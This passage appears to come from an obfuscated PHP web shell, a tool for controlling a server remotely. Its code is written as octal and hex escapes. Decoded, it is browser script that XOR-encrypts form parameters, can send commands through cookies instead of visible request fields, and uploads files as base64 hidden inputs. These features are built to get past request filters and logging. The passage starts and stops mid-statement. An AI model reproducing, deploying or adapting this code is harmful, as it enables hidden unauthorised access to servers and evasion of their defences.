"\x69\x6e\166\145\162\164\x43\x6f\154\157\162\x73\x28\51\x3b" : '') . "\12\11\x9\163\164\141\162\164\x45\166\x65\x6e\x74\163\x4c\x69\163\164\x6e\x65\162\x73\x28\51\x3b\12\x9\x9\x69\x66\x28\103\x4f\117\113\x49\x45\51\173\xa\x9\x9\11\x69\146\x28\143\151\x20\75\40\144\157\x63\x75\x6d\145\156\164\56\x67\x65\x74\x45\154\145\x6d\x65\x6e\x74\x42\171\x49\144\50\x22\143\x62\103\117\x22\x29\x29\xa\x9\11\11\11\143\x69\56\x63\x68\145\x63\x6b\x65\144\x20\75\40\42\157\x6e\42\73\xa\11\11\11\144\x65\x6c\x65\x74\145\101\154\x6c\103\x6f\x6f\x6b\151\145\163\x28\51\x3b\xa\x9\x9\x7d\12\12\x9\x9\146\x75\x6e\x63\164\151\x6f\156\x20\163\164\141\162\x74\105\166\145\156\164\163\x4c\x69\163\x74\x6e\145\162\163\50\51\x7b\12\x9\11\11\x76\x61\x72\x20\x65\x6c\x65\155\x65\156\x74\163\40\x3d\40\144\x6f\143\x75\155\x65\x6e\x74\56\147\x65\164\105\x6c\x65\x6d\x65\x6e\164\163\102\x79\124\x61\147\116\141\x6d\145\x28\x22\x2a\x22\51\73\12\11\11\xa\11\11\11\146\157\x72\x28\166\141\162\x20\151\75\60\x3b\x69\x3c\x65\x6c\145\x6d\x65\x6e\164\x73\x2e\154\145\x6e\x67\164\x68\73\x69\x2b\x2b\51\x7b\xa\12\x9\x9\x9\x9\x69\x66\50\145\x6c\145\x6d\x65\156\x74\x73\133\151\x5d\56\x74\171\x70\145\40\x26\x26\40\x65\154\145\155\145\x6e\x74\x73\x5b\x69\135\56\x74\x79\160\145\40\75\x3d\40\42\146\151\x6c\145\42\51\xa\x9\11\11\11\x9\x9\x65\154\145\x6d\145\x6e\x74\x73\x5b\x69\x5d\56\157\156\x63\x68\141\156\x67\145\x20\75\40\x66\165\156\143\x74\x69\x6f\156\50\x65\51\173\12\x9\x9\x9\x9\11\11\x9\151\x66\x28\x21\x65\154\x6d\102\171\x49\x64\x28\42\143\x62\x52\x52\42\51\x2e\x63\150\145\143\153\145\144\x29\x20\x70\162\145\160\x61\162\145\x46\x69\x6c\145\x28\x74\x68\151\x73\x29\xa\11\11\x9\x9\11\11\11\x65\154\163\x65\x20\x75\160\x6c\106\151\154\145\x73\50\51\73\xa\11\11\x9\11\x9\11\175\12\x9\11\x9\x9\x9\12\x9\11\11\x7d\xa\11\x9\175\12\x9\11\11\11\xa\11\11\146\165\156\143\164\x69\x6f\x6e\40\x62\151\156\x32\x68\x65\x78\x28\x62\x69\x6e\51\173\12\x9\x9\40\x20\166\141\x72\40\150\x65\170\40\75\40\x22\42\x3b\xa\11\x9\x20\40\x66\x6f\162\x28\166\x61\x72\40\151\40\x3d\40\60\x3b\x20\x69\x3c\x62\x69\156\56\x6c\x65\x6e\x67\x74\x68\73\40\x69\53\53\x29\173\xa\11\x9\x20\40\x20\x20\166\x61\162\40\143\40\x3d\40\x62\151\156\56\x63\x68\x61\x72\x43\157\x64\x65\x41\164\50\x69\51\x3b\xa\11\x9\x20\x20\x20\x20\x69\146\x20\50\x63\x3e\60\170\x46\106\x29\40\143\40\x2d\x3d\40\x30\x78\x33\x35\60\73\xa\x9\11\x20\40\40\40\150\145\170\40\53\75\x20\x28\143\56\164\x6f\123\x74\x72\151\x6e\x67\50\x31\66\51\56\x6c\x65\156\147\x74\150\40\x3d\75\x3d\x20\61\40\x3f\x20\x22\60\42\x20\x3a\40\x22\x22\51\x20\x2b\40\x63\x2e\164\157\x53\x74\162\151\x6e\x67\50\x31\66\x29\73\xa\11\x9\40\x20\x7d\xa\11\x9\x20\40\x72\x65\x74\x75\x72\x6e\x20\150\x65\170\73\12\11\11\175\xa\x9\11\12\11\11\x66\165\x6e\143\164\151\x6f\156\x20\x6c\157\x67\x69\156\x28\146\157\162\155\51\173\12\x9\x9\x9\141\x64\x64\x45\x6e\x63\113\x65\171\50\146\157\x72\155\51\73\xa\11\11\11\146\157\162\155\x2e\160\141\x73\163\56\166\x61\x6c\165\145\40\75\40\x73\x65\x74\x56\x61\x6c\165\x65\50\x66\157\x72\155\x2e\160\x61\x73\x73\56\166\x61\x6c\x75\145\x29\x3b\12\x9\x9\11\146\x6f\x72\155\56\160\x61\163\163\x2e\x6e\x61\155\x65\40\x3d\40\163\x65\x74\x4e\x61\x6d\x65\50\x66\x6f\x72\x6d\x2e\160\x61\163\163\56\156\x61\x6d\x65\51\x3b\xa\x9\11\x9\12\x9\11\11\x69\146\50\x43\117\117\x4b\111\x45\51\xa\11\x9\x9\x9\x73\x75\x62\x6d\x69\x74\x56\151\x61\x43\x6f\157\x6b\151\145\x28\x66\157\162\155\x29\x3b\12\11\11\x9\x65\x6c\163\145\12\x9\11\11\x9\162\145\x74\x75\x72\x6e\x20\x74\x72\x75\145\73\12\11\x9\x9\x9\12\x9\11\x9\x72\x65\164\165\x72\156\40\146\x61\x6c\x73\x65\x3b\12\x9\11\175\xa\11\x9\40\40\xa\11\11\x66\165\156\x63\x74\151\157\156\x20\x68\145\x78\62\142\151\x6e\50\x68\x65\x78\x29\40\173\xa\11\x9\x20\40\166\141\x72\x20\x62\151\x6e\40\x3d\x20\42\42\73\xa\x9\11\x20\x20\x66\x6f\162\40\50\x76\x61\x72\40\151\x3d\x30\73\40\151\74\150\145\x78\56\154\x65\156\x67\x74\x68\73\40\151\75\x69\53\x32\x29\x20\x7b\xa\11\11\x20\40\x20\40\166\141\x72\40\143\40\75\40\160\x61\162\x73\x65\111\156\x74\50\42\x22\53\150\x65\x78\133\151\x5d\x2b\150\145\170\133\x69\x2b\61\x5d\54\x20\61\x36\x29\x3b\xa\11\11\40\40\x20\x20\151\146\x20\50\143\x3e\x30\170\x37\x46\51\x20\143\40\x2b\75\x20\60\x78\63\65\x30\x3b\xa\11\11\x20\40\x20\40\142\x69\x6e\x20\53\75\x20\123\x74\x72\x69\156\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\162\103\x6f\x64\145\x28\x63\51\73\12\11\11\40\x20\175\12\11\11\x20\x20\x72\145\x74\x75\162\x6e\x20\142\x69\156\x3b\xa\x9\11\x7d\xa\11\x9\11\12\x9\11\x66\x75\156\x63\x74\x69\157\156\40\170\157\162\123\164\x72\x28\x73\164\x72\54\40\144\x65\x63\x6f\x64\x65\40\75\x20\146\x61\x6c\x73\145\x29\x20\173\xa\11\11\x9\x73\164\x72\40\x3d\40\x28\x21\144\145\143\157\144\145\x20\x3f\x20\x65\156\x63\157\144\145\125\122\111\103\x6f\x6d\x70\x6f\156\145\x6e\x74\x28\x73\164\x72\x29\x20\x3a\40\x73\x74\162\51\73\xa\x9\x9\x9\163\164\x72\40\75\40\163\x74\x72\56\x73\160\x6c\151\164\50\42\42\x29\x3b\12\x9\11\40\x20\40\x20\153\145\x79\40\75\x20\x45\116\x43\113\105\x59\x2e\163\x70\154\151\x74\x28\x22\x22\x29\x3b\12\11\x9\40\40\40\x20\x76\141\x72\40\163\x74\162\x5f\x6c\x65\x6e\40\75\x20\163\164\x72\x2e\x6c\x65\156\x67\x74\150\x3b\xa\11\x9\40\x20\x20\x20\166\141\162\40\153\x65\171\x5f\154\x65\156\40\x3d\40\153\x65\171\56\x6c\145\156\147\164\x68\73\12\11\11\xa\x9\x9\x20\40\40\40\x76\141\x72\40\x53\164\x72\x69\x6e\x67\x5f\146\x72\157\x6d\103\150\141\162\103\157\x64\145\40\x3d\x20\x53\164\162\151\x6e\147\56\146\162\x6f\x6d\103\x68\x61\162\103\157\x64\x65\73\12\x9\x9\xa\11\11\x20\40\x20\40\x66\x6f\x72\x28\x76\141\x72\40\151\x20\75\40\60\x3b\x20\x69\40\74\x20\x73\x74\x72\x5f\x6c\x65\156\x3b\40\151\53\x2b\51\x20\x7b\12\11\11\40\x20\40\x20\40\40\40\40\163\x74\162\133\151\x5d\x20\x3d\40\123\x74\x72\x69\x6e\x67\137\146\x72\157\155\x43\x68\x61\162\x43\157\x64\145\50\x73\164\x72\x5b\x69\x5d\56\143\x68\141\x72\x43\x6f\144\145\101\164\50\60\51\x20\x5e\40\153\x65\171\133\151\40\x25\40\153\x65\171\x5f\154\x65\156\x5d\56\143\x68\x61\x72\x43\157\x64\145\101\x74\x28\60\51\51\x3b\xa\x9\x9\x20\40\x20\x20\175\xa\x9\11\x20\x20\40\40\163\164\x72\40\75\40\x73\x74\162\x2e\x6a\157\151\156\50\42\x22\51\x3b\12\x9\11\x20\40\40\x20\xa\11\x9\x20\x20\x20\40\x69\x66\x28\144\145\143\x6f\144\145\x29\x7b\x20\12\11\11\x9\x9\164\162\x79\x7b\xa\x9\11\x9\x9\x9\x73\x74\x72\x20\75\40\144\x65\143\x6f\x64\x65\125\122\x49\x43\x6f\155\160\157\156\x65\156\164\50\x73\x74\162\51\73\12\x9\11\x9\11\175\xa\11\11\x9\11\143\x61\x74\143\150\50\x65\x29\x7b\xa\x9\x9\11\x9\x9\x73\x74\x72\x20\x3d\x20\165\x6e\145\163\x63\x61\x70\x65\x28\x73\x74\162\51\73\xa\x9\11\11\x9\175\xa\11\11\x9\175\12\12\x9\x9\x20\x20\40\40\162\145\164\165\x72\x6e\x20\x73\x74\x72\x3b\xa\x9\11\x7d\xa\11\x9\12\x9\x9\146\x75\x6e\143\x74\x69\157\x6e\x20\x73\x65\164\x4e\x61\155\145\x28\x73\x74\x72\x29\173\12\x9\x9\x9\163\x74\162\40\75\x20\x62\151\156\x32\150\145\170\x28\x78\157\162\x53\x74\162\50\x73\x74\x72\51\x29\x3b\12\x9\x9\x9\x70\x72\x65\146\x20\x3d\40\x45\116\103\113\x45\x59\x2e\x73\x75\142\163\164\x72\50\60\x2c\40\x50\x52\x45\114\x45\116\x29\x3b\xa\x9\x9\x9\162\x65\x74\165\x72\156\40\160\x72\x65\x66\40\53\x20\163\x74\x72\73\xa\11\11\175\xa\x9\x9\xa\x9\x9\x66\165\156\143\x74\151\157\x6e\40\x73\x65\164\x56\141\154\165\145\x28\163\164\x72\x29\173\12\11\x9\11\162\x65\x74\x75\x72\156\40\142\x74\157\x61\x28\170\157\x72\x53\x74\162\x28\x73\164\x72\x29\51\73\12\11\x9\x7d\12\11\x9\12\11\11\146\165\x6e\143\x74\x69\157\156\40\x67\145\164\126\x61\154\x75\x65\50\x73\x74\162\51\x7b\12\x9\x9\x9\162\x65\x74\x75\162\156\x20\x78\157\x72\x53\x74\x72\50\x61\164\x6f\x62\50\x73\x74\x72\51\x2c\x20\x74\x72\165\x65\x29\x3b\12\x9\11\175\12\x9\x9\xa\x9\x9\146\x75\x6e\x63\x74\x69\157\x6e\x20\141\144\144\105\x6e\x63\113\x65\x79\x28\x66\157\x72\x6d\x29\173\xa\x9\x9\11\x76\x61\x72\40\x65\156\x63\x4b\x65\171\40\75\40\144\157\x63\x75\155\x65\156\x74\x2e\143\162\x65\141\x74\145\x45\154\x65\x6d\x65\156\x74\x28\x22\x69\156\160\x75\164\42\51\x3b\12\11\x9\x9\x65\x6e\143\x4b\x65\x79\56\164\x79\x70\x65\40\x3d\x20\x22\150\x69\x64\144\x65\156\x22\73\xa\x9\11\11\160\162\145\146\x20\75\40\x45\x4e\103\113\105\131\56\163\x75\x62\163\164\x72\50\60\x2c\40\120\x52\105\114\x45\x4e\x29\73\xa\11\11\11\145\156\x63\113\145\x79\x2e\x6e\141\x6d\x65\40\75\x20\160\162\145\146\x2e\x73\x70\x6c\x69\164\50\42\x22\51\56\162\145\x76\145\162\x73\145\x28\x29\56\152\157\x69\156\x28\42\42\x29\x20\x2b\40\x70\x72\x65\146\73\xa\x9\x9\x9\x65\156\x63\x4b\145\171\x2e\166\x61\x6c\x75\x65\40\x3d\40\142\x74\157\141\x28\x45\x4e\x43\113\x45\131\x29\73\12\x9\11\11\x66\x6f\x72\155\x2e\x61\x70\160\145\x6e\144\x43\x68\151\154\x64\50\x65\x6e\143\113\145\x79\x29\x3b\12\11\x9\x9\x72\145\164\165\x72\x6e\x20\146\x6f\x72\155\73\12\x9\11\175\xa\11\x9\12\x9\11\x66\x75\156\143\x74\x69\x6f\156\x20\x66\x69\x78\106\151\154\x65\x4e\141\x6d\145\x28\163\x74\x72\x2c\x20\x6c\x65\156\40\x3d\x20\146\x61\154\163\145\51\x7b\xa\11\11\11\163\x74\x72\x20\75\40\163\164\x72\56\x73\160\154\x69\164\x28\57\50\134\x5c\x7c\134\x2f\51\57\x67\51\x2e\x70\157\x70\50\51\73\12\11\x9\11\x69\x66\x28\154\145\156\x29\x20\x73\x74\162\40\75\40\x73\x74\x72\x2e\x73\165\142\x73\x74\x72\x69\156\x67\50\60\54\40\x6c\145\x6e\x29\73\12\x9\x9\11\x72\145\x74\x75\x72\x6e\40\163\164\162\x3b\12\11\11\x7d\12\11\11\xa\x9\11\146\165\x6e\143\x74\x69\x6f\x6e\40\147\x65\x74\120\141\162\x65\x6e\164\106\x6f\162\x6d\117\146\x28\145\154\145\x6d\x65\x6e\x74\x29\x7b\12\11\x9\x9\12\x9\11\11\x77\150\151\x6c\x65\x28\145\x6c\145\x6d\x65\156\164\56\x74\x61\147\x4e\x61\155\x65\x20\x21\x3d\x20\42\106\117\122\115\x22\x29\xa\11\11\x9\11\x65\x6c\145\155\145\x6e\x74\40\x3d\x20\145\154\145\155\x65\x6e\x74\x2e\x70\x61\162\x65\156\164\x45\154\x65\x6d\145\x6e\164\73\12\12\x9\11\11\162\x65\164\x75\162\156\40\145\x6c\x65\155\x65\156\164\73\xa\11\11\175\12\11\x9\12\11\11\x66\x75\156\143\x74\x69\x6f\156\40\160\162\x65\160\141\x72\145\106\151\154\145\x28\x69\x6e\160\165\164\x29\x7b\12\11\11\x9\166\141\162\x20\146\151\154\145\x20\x3d\x20\x69\x6e\160\x75\x74\x3b\12\x9\11\11\x66\x6f\162\x6d\40\x3d\40\x67\145\x74\x50\141\x72\x65\x6e\164\106\157\162\x6d\x4f\146\50\151\x6e\x70\165\164\x29\x3b\xa\11\x9\x9\146\x6f\162\x6d\56\145\156\143\164\171\160\x65\40\x3d\40\42\141\160\160\154\151\143\x61\164\151\157\156\x2f\170\x2d\167\x77\x77\55\x66\x6f\162\x6d\55\x75\162\154\145\156\143\x6f\144\x65\x64\x22\x3b\xa\x9\x9\11\xa\x9\11\x9\x69\x66\50\x66\x69\x6c\145\x2e\146\x69\x6c\145\163\x2e\154\145\156\x67\164\150\x29\x7b\12\11\x9\x9\x9\166\x61\162\40\x72\145\x61\x64\x65\162\x20\x3d\x20\x6e\145\167\40\x46\x69\154\145\122\x65\141\144\145\162\x28\x29\73\12\x9\x9\11\11\xa\x9\11\x9\11\162\x65\141\x64\x65\162\x2e\x6f\x6e\154\157\141\x64\x20\x3d\x20\146\165\156\x63\x74\x69\x6f\156\50\x65\x29\173\12\11\11\11\11\11\x9\146\151\154\145\x6e\141\155\145\40\75\x20\146\151\170\x46\x69\154\x65\x4e\141\x6d\x65\50\x69\156\160\165\x74\x2e\166\x61\154\x75\x65\x29\x3b\xa\11\11\11\x9\11\11\x77\167\x77\106\x69\x6c\x65\40\75\40\x64\157\x63\x75\x6d\145\156\x74\x2e\x63\162\145\x61\164\x65\105\x6c\145\155\x65\156\x74\x28\42\x69\x6e\160\x75\x74\x22\51\x3b\12\11\11\11\11\x9\x9\x77\167\167\106\151\x6c\x65\56\x74\x79\x70\x65\40\x3d\x20\42\150\x69\x64\144\145\x6e\42\73\12\11\11\11\11\x9\x9\167\x77\x77\x46\x69\154\x65\56\151\144\x20\75\40\151\x6e\x70\x75\164\x2e\156\x61\155\x65\x3b\12\x9\11\x9\11\11\11\x77\167\167\106\x69\x6c\x65\x2e\x6e\141\x6d\145\x20\75\x20\151\156\x70\x75\x74\x2e\156\141\x6d\145\40\53\x20\x22\133\x22\x2b\146\151\x6c\145\x6e\x61\x6d\145\x2b\x22\135\42\73\xa\x9\x9\x9\x9\11\x9\167\x77\167\x46\151\154\145\x2e\x76\x61\154\x75\x65\x20\x3d\40\x65\x2e\164\141\x72\147\x65\164\56\x72\145\163\165\154\x74\x3b\12\11\11\x9\11\x9\11\x69\146\50\x65\56\164\x61\162\x67\x65\164\56\x72\145\163\x75\x6c\164\56\154\145\x6e\147\164\150\x20\74\x3d\40\x32\x30\71\67\x31\x35\x32\x29\xa\11\x9\11\11\11\11\11\146\x6f\162\155\x2e\x61\x70\x70\x65\x6e\x64\103\150\x69\154\144\x28\x77\x77\167\106\151\154\x65\x29\x3b\xa\11\x9\11\11\11\11\145\x6c\x73\x65\12\x9\11\x9\11\11\11\11\x69\146\50\143\x6f\x6e\146\x69\x72\155\x28\x22\122\x65\161\165\x65\163\164\40\163\x69\172\145\40\151\163\x20\x7e\42\x20\x2b\x20\x4d\141\164\150\56\x72\x6f\165\156\x64\x28\x28\x28\x65\x2e\164\x61\x72\x67\x65\164\56\x72\x65\x73\x75\154\x74\x2e\x6c\x65\x6e\x67\164\150\x20\x2a\x20\x32\51\40\x2f\40\61\x30\x32\x34\51\40\x2f\x20\61\x30\x32\64\x29\x20\x2b\x20\x22\115\x2c\40\142\165\164\x20\x6c\x69\x6d\x69\x74\x73\x20\x69\163\40\157\146\x74\x65\156\x20\x61\x72\157\x75\156\x64\40\74\x3d\40\70\115\x2e\x20\x54\150\145\162\x65\x20\151\163\x20\156\157\40\x67\165\x61\x72\141\x6e\164\145\x65\40\164\x68\141\x74\40\164\150\x65\40\x66\151\154\x65\x20\x77\x69\x6c\x6c\x20\142\145\x20\x75\160\154\x6f\141\x64\145\x64\56\134\x6e\131\157\165\40\143\x61\x6e\x20\x64\151\163\141\142\x6c\145\40\x72\x65\161\x75\x65\163\164\40\x65\156\x63\x6f\x64\x69\x6e\147\54\40\165\x73\145\40\x6f\164\150\145\162\x20\x75\x70\154\157\141\x64\x20\x6d\145\164\150\x6f\144\163\40\x6f\x72\x20\163\x65\x6c\x65\143\164\x20\x61\40\x73\155\141\x6c\x6c\145\162\40\146\x69\x6c\x65\x2e\40\103\157\x6e\164\x69\156\x75\145\x3f\x22\x29\51\12\11\x9\11\11\11\x9\x9\11\146\157\162\x6d\56\x61\x70\x70\145\156\144\103\x68\151\154\x64\x28\167\x77\167\106\151\154\145\51\73\xa\x9\11\x9\x9\11\x9\x9\x65\154\163\145\xa\x9\11\x9\11\11\11\11\x9\162\x65\x74\x75\162\156\x20\146\141\154\x73\145\x3b\12\11\11\x9\11\11\11\x9\12\x9\11\x9\11\x9\11\x75\160\x6c\106\x69\154\145\163\50\51\x3b\12\x9\11\11\x9\x9\x9\12\x9\x9\x9\x9\x9\x9\x65\154\x65\155\x65\156\164\163\x20\x3d\40\146\157\x72\x6d\x2e\x67\x65\x74\105\154\145\x6d\x65\x6e\164\163\102\171\124\x61\147\x4e\x61\x6d\145\x28\x22\x2a\x22\x29\x3b\xa\x9\x9\x9\11\11\11\x66\x6f\162\50\x76\141\x72\40\x69\40\75\40\60\x3b\x20\x69\x20\x3c\40\x65\x6c\x65\x6d\x65\156\164\x73\x2e\154\145\156\x67\x74\150\x3b\x20\x69\53\53\x29\12\x9\11\11\11\x9\x9\11\151\146\50\145\154\145\155\x65\156\164\x73\133\x69\135\56\x74\171\x70\x65\40\75\x3d\75\40\x22\150\x69\144\144\x65\156\x22\51\xa\x9\11\x9\x9\x9\11\11\11\x66\x6f\x72\155\56\162\145\155\x6f\166\145\103\x68\151\154\144\50\x65\x6c\x65\x6d\x65\156\164\163\x5b\x69\135\x29\73\12\x9\x9\x9\x9\175\x3b\12\x9\11\11\11\xa\11\11\x9\11\162\145\141\x64\145\162\x2e\x72\x65\141\144\x41\x73\x44\x61\x74\141\125\122\114\50\146\151\154\145\x2e\x66\151\x6c\145\163\133\x30\x5d\51\x3b\xa\11\x9\x9\x9\x72\x65\164\165\x72\x6e\40\162\145\x61\144\145\162\x3b\xa\11\11\x9\x7d\xa\x9\11\11\xa\11\11\175\xa\xa\11\x9\146\x75\156\x63\164\x69\x6f\x6e\40\144\x65\154\x65\164\x65\x41\154\154\103\157\x6f\153\151\x65\x73\50\x29\40\x7b\x9\12\x9\x9\x9\166\141\x72\40\x63\157\157\x6b\151\x65\163\40\75\40\x64\x6f\x63\165\x6d\x65\x6e\164\x2e\x63\157\157\153\151\x65\x2e\163\160\154\x69\164\x28\42\73\42\51\x3b\12\x9\x9\12\11\11\x9\146\157\162\40\50\166\141\x72\x20\x69\40\x3d\40\x30\x3b\x20\x69\x20\x3c\40\x63\157\x6f\x6b\x69\x65\163\56\x6c\x65\156\x67\x74\x68\x3b\40\x69\x2b\x2b\51\40\x7b\xa\x9\x9\x9\11\x76\x61\x72\40\x63\157\157\x6b\151\x65\x20\75\x20\143\157\x6f\x6b\151\x65\163\x5b\x69\x5d\x3b\xa\11\11\x9\11\166\141\162\40\x65\x71\120\x6f\x73\40\x3d\x20\143\157\x6f\x6b\151\145\56\151\x6e\144\x65\170\x4f\x66\x28\x22\75\42\x29\73\12\11\11\x9\11\166\x61\162\x20\156\141\155\x65\40\75\x20\145\161\x50\157\x73\x20\76\x20\x2d\x31\x20\77\x20\143\x6f\x6f\153\x69\x65\56\163\165\142\x73\164\x72\x28\60\x2c\x20\x65\161\x50\157\x73\x29\x20\x3a\40\143\x6f\157\153\x69\x65\73\xa\x9\11\x9\x9\x64\157\x63\165\155\145\x6e\164\56\143\x6f\157\x6b\151\145\x20\75\x20\156\141\155\x65\x20\53\x20\42\75\x3b\145\x78\160\x69\162\x65\x73\x3d\124\x68\165\x2c\40\60\x31\x20\112\141\156\40\x31\x39\x37\60\40\x30\x30\x3a\x30\60\72\60\x30\40\x47\x4d\124\x22\x3b\12\x9\x9\11\175\12\11\11\11\12\11\11\x9\162\145\164\x75\162\x6e\x20\x66\141\x6c\x73\145\73\12\11\x9\175\xa\x9\12\11\11\146\x75\156\x63\164\x69\x6f\156\40\163\165\x62\x6d\x69\x74\x56\151\141\x43\x6f\x6f\x6b\x69\145\x28\145\x6e\x63\x6f\x64\145\144\x46\x6f\x72\155\54\40\162\145\146\162\145\x73\150\x20\x3d\x20\x74\162\x75\x65\x29\173\12\x9\11\x9\166\x61\162\x20\x72\x65\x71\x6c\x65\x6e\40\x3d\40\x30\73\xa\x9\x9\x9\166\x61\162\x20\145\154\145\x6d\x65\156\x74\x73\40\75\x20\145\156\143\x6f\x64\x65\144\106\157\x72\155\56\147\145\164\105\154\145\155\145\156\x74\x73\102\171\x54\x61\147\116\141\x6d\x65\x28\42\x2a\x22\x29\x3b\xa\x9\x9\x9\12\11\x9\x9\146\157\162\50\151\x20\75\40\x30\x3b\40\x69\40\x3c\40\x65\154\145\155\145\156\x74\163\56\x6c\x65\156\x67\164\150\x3b\40\151\x2b\53\x29\x20\173\12\11\x9\x9\11\xa\x9\x9\x9\x9\x69\x66\50\41\145\154\x65\155\145\x6e\164\x73\x5b\151\135\56\156\x61\x6d\x65\x29\x20\x63\157\156\164\151\156\165\145\73\12\x9\11\x9\11\xa\x9\x9\11\x9\x6e\x61\155\145\40\75\40\145\x6c\145\155\145\156\164\163\x5b\151\x5d\56\x6e\x61\155\145\73\12\x9\11\x9\11\166\x61\154\165\145\x20\x3d\x20\145\x6e\x63\157\144\145\x55\122\x49\103\x6f\x6d\x70\x6f\x6e\x65\156\164\x28\145\154\145\155\145\156\x74\163\x5b\x69\135\56\166\x61\x6c\165\x65\51\73\12\12\x9\x9\11\11\x69\x66\x28\166\141\154\165\145\x2e\154\x65\x6e\x67\164\150\40\76\x20\64\x30\x39\x35\x20\174\x7c\40\162\145\161\154\145\x6e\x20\x3e\x20\67\x36\x39\x36\51\173\12\11\11\x9\11\x9\151\146\50\143\157\156\146\151\x72\155\x28\42\x54\x68\x65\40\162\x65\161\x75\145\x73\164\40\150\145\x61\144\x65\162\40\x69\163\x20\164\x6f\157\40\142\151\147\x2c\40\163\145\156\x64\x20\151\x74\40\x76\151\x61\x20\120\x4f\x53\x54\77\x22\51\x29\x7b\12\11\x9\11\x9\11\11\144\x65\154\145\164\x65\101\154\x6c\x43\157\x6f\x6b\151\x65\163\50\51\x3b\12\11\x9\11\x9\11\x9\162\145\x74\x75\162\156\x20\146\141\x6c\x73\145\x3b\xa\11\11\11\x9\11\175\12\x9\11\x9\11\x9\145\x6c\163\x65\173\xa\11\x9\x9\x9\11\11\x64\x65\154\145\164\x65\101\154\x6c\103\x6f\157\x6b\x69\145\x73\x28\51\x3b\xa\11\11\x9\x9\x9\11\162\145\164\x75\162\x6e\x20\42\103\101\116\x43\x45\114\42\x3b\xa\x9\11\x9\11\11\175\xa\x9\x9\x9\x9\175\xa\11\x9\11\11\xa\x9\11\11\11\144\157\x63\165\155\x65\x6e\164\56\x63\157\157\x6b\151\145\40\75\40\x20\x6e\x61\155\145\x20\x2b\x20\42\75\42\x20\x2b\x20\x76\141\x6c\x75\x65\x3b\12\11\11\11\x9\162\145\x71\154\x65\x6e\40\75\x20\x72\x65\161\x6c\x65\156\x20\x2b\x20\x6e\x61\155\145\x2e\154\x65\156\x67\x74\x68\40\53\x20\166\141\154\165\145\56\154\145\156\147\x74\x68\x3b\12\x9\x9\11\x7d\12\x9\11\x9\xa\11\x9\x9\151\146\50\162\x65\x66\x72\145\x73\150\x29\12\11\x9\x9\11\167\x69\x6e\144\x6f\x77\x2e\154\x6f\143\141\164\x69\157\x6e\x20\75\40\x77\151\x6e\x64\x6f\x77\56\154\157\x63\x61\164\151\157\156\56\160\x61\164\150\x6e\x61\155\145\73\12\x9\11\11\x65\154\x73\145\xa\x9\x9\11\11\x72\x65\x74\165\162\156\x20\x22\x53\x45\x4e\104\x22\x3b\xa\x9\x9\175\xa\11\11\xa\11\11\146\x75\156\x63\x74\151\x6f\156\x20\x69\x6e\166\145\x72\164\x43\157\154\157\162\163\x28\51\40\173\xa\11\11\x20\x20\x20\x20\166\141\162\x20\x63\163\163\40\x3d\40\x22\150\x74\x6d\154\x7b\x2d\x77\145\142\153\151\x74\x2d\x66\151\154\x74\145\162\72\x20\151\x6e\x76\145\x72\x74\x28\x39\x30\45\x29\73\40\x2d\x6d\157\x7a\55\x66\151\x6c\164\145\x72\72\x20\151\156\166\145\x72\164\50\71\60\x25\x29\x3b\x20\x2d\157\x2d\146\x69\x6c\164\x65\x72\72\x20\151\156\166\145\162\164\x28\71\60\45\51\x3b\x20\55\x6d\163\x2d\146\151\x6c\164\x65\162\x3a\x20\151\x6e\x76\145\162\x74\x28\x39\x30\x25\51\73\x7d\x22\73\12\x9\x9\x20\40\x20\x20\166\x61\x72\x20\150\x65\x61\144\40\75\x20\144\x6f\x63\165\x6d\x65\x6e\164\x2e\147\x65\164\105\154\145\155\145\156\x74\163\102\x79\x54\x61\x67\116\141\x6d\145\50\x22\x68\x65\x61\x64\x22\x29\x5b\60\135\73\12\11\x9\40\40\x20\40\166\x61\162\40\163\164\x79\x6c\x65\x20\75\x20\x64\157\143\165\155\145\156\164\56\143\162\145\141\164\x65\x45\x6c\x65\155\x65\x6e\x74\50\x22\x73\164\x79\154\145\42\x29\73\xa\11\x9\x20\x20\x20\x20\151\x66\50\41\x77\151\x6e\x64\157\x77\56\143\x6f\x75\156\x74\145\162\51\xa\x9\11\40\40\40\40\40\40\40\40\167\x69\156\x64\x6f\x77\x2e\143\x6f\x75\x6e\x74\145\x72\x20\x3d\40\x31\x3b\xa\11\x9\x20\40\x20\40\145\154\163\x65\x7b\12\x9\x9\40\40\x20\40\40\40\40\40\x77\x69\x6e\x64\157\167\56\x63\157\165\156\x74\145\x72\x2b\53\x3b\12\x9\x9\40\x20\x20\x20\x20\x20\x20\x20\151\146\x20\x28\x77\x69\156\x64\157\167\x2e\143\157\x75\156\x74\145\162\40\x25\40\x32\x20\75\75\40\x30\x29\xa\11\x9\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x76\141\x72\x20\x63\163\163\40\75\40\42\150\164\x6d\x6c\173\55\167\x65\142\153\x69\164\55\146\151\154\164\145\162\x3a\40\151\156\x76\x65\162\x74\x28\60\45\51\x3b\40\55\155\x6f\172\x2d\x66\151\154\164\x65\x72\72\x20\x69\156\166\145\162\164\50\60\x25\x29\73\x20\55\157\x2d\x66\151\154\164\145\x72\72\40\151\156\166\145\x72\164\50\x30\x25\51\x3b\x20\x2d\x6d\x73\55\146\x69\154\164\145\162\72\40\x69\156\x76\145\162\x74\50\60\x25\x29\x3b\x7d\x22\12\x9\x9\40\40\40\x20\175\xa\x9\11\40\40\40\x20\163\164\x79\154\x65\56\x74\x79\x70\x65\40\x3d\x20\x22\x74\145\x78\x74\57\143\163\x73\x22\73\12\x9\x9\40\x20\40\x20\12\x9\x9\x20\x20\x20\x20\x69\x66\50\x73\x74\171\x6c\145\x2e\x73\164\171\x6c\145\x53\150\145\145\164\x29\xa\x9\x9\40\x20\x20\40\x20\x20\40\x20\x73\164\171\x6c\145\56\x73\164\x79\x6c\145\123\150\x65\145\164\x2e\143\x73\x73\x54\145\x78\164\40\x3d\x20\143\x73\163\x3b\xa\x9\11\40\x20\x20\x20\x65\x6c\163\145\xa\x9\x9\40\40\40\40\40\x20\x20\40\x73\x74\x79\154\145\56\x61\160\160\x65\x6e\x64\103\150\151\x6c\x64\50\x64\157\x63\165\x6d\x65\x6e\164\56\x63\x72\145\x61\x74\x65\124\x65\170\x74\116\157\x64\x65\x28\143\163\163\51\51\x3b\12\11\11\x20\40\x20\x20\40\40\40\40\12\x9\11\40\x20\x20\x20\150\x65\141\144\x2e\x61\x70\160\x65\156\x64\x43\150\x69\x6c\144\50\163\164\171\154\x65\x29\x3b\xa\x9\x9\x20\40\40\40\xa\11\x9\40\40\40\40\x72\x65\164\x75\162\156\40\x66\141\x6c\x73\x65\73\xa\11\11\175\12\74\57\163\x63\x72\x69\160\x74\